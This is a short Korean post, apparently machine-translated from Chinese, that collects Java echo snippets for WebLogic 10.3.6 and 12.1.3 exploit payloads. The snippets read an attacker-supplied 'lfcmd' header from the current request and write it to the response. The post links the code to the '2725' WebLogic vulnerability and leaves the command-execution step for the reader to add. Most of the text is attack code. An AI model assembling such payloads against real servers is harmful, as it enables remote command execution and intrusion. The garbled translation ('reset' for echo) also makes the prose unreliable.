weblogic 리셋 코드를 정리해 주세요.

2238 단어
이 리셋의 경로와 수치는 시장에서 이미 공개되었는데, 이 글은 며칠 전에 말한 제티의 중간부품 리셋을 보충하기 위해서이다.
제공된 코드는 리셋 경로만 제공하고runtime는 추가하지 않았습니다. 이 코드는 스스로 추가하십시오.
weblogic10.3.6
1 String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
2 weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
3 weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
4 outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
5 outputStream.flush();
6 response.getWriter().write("");

weblogic12.1.3
1 java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
2 field.setAccessible(true);
3 HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
4 httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));

 
사실 이 코드는 2725의 카운터에서 이미 제기되었는데, 나는 운반해서 기록하고 정리했다.
 
참조:https://xz.aliyun.com/t/5299#toc-9

좋은 웹페이지 즐겨찾기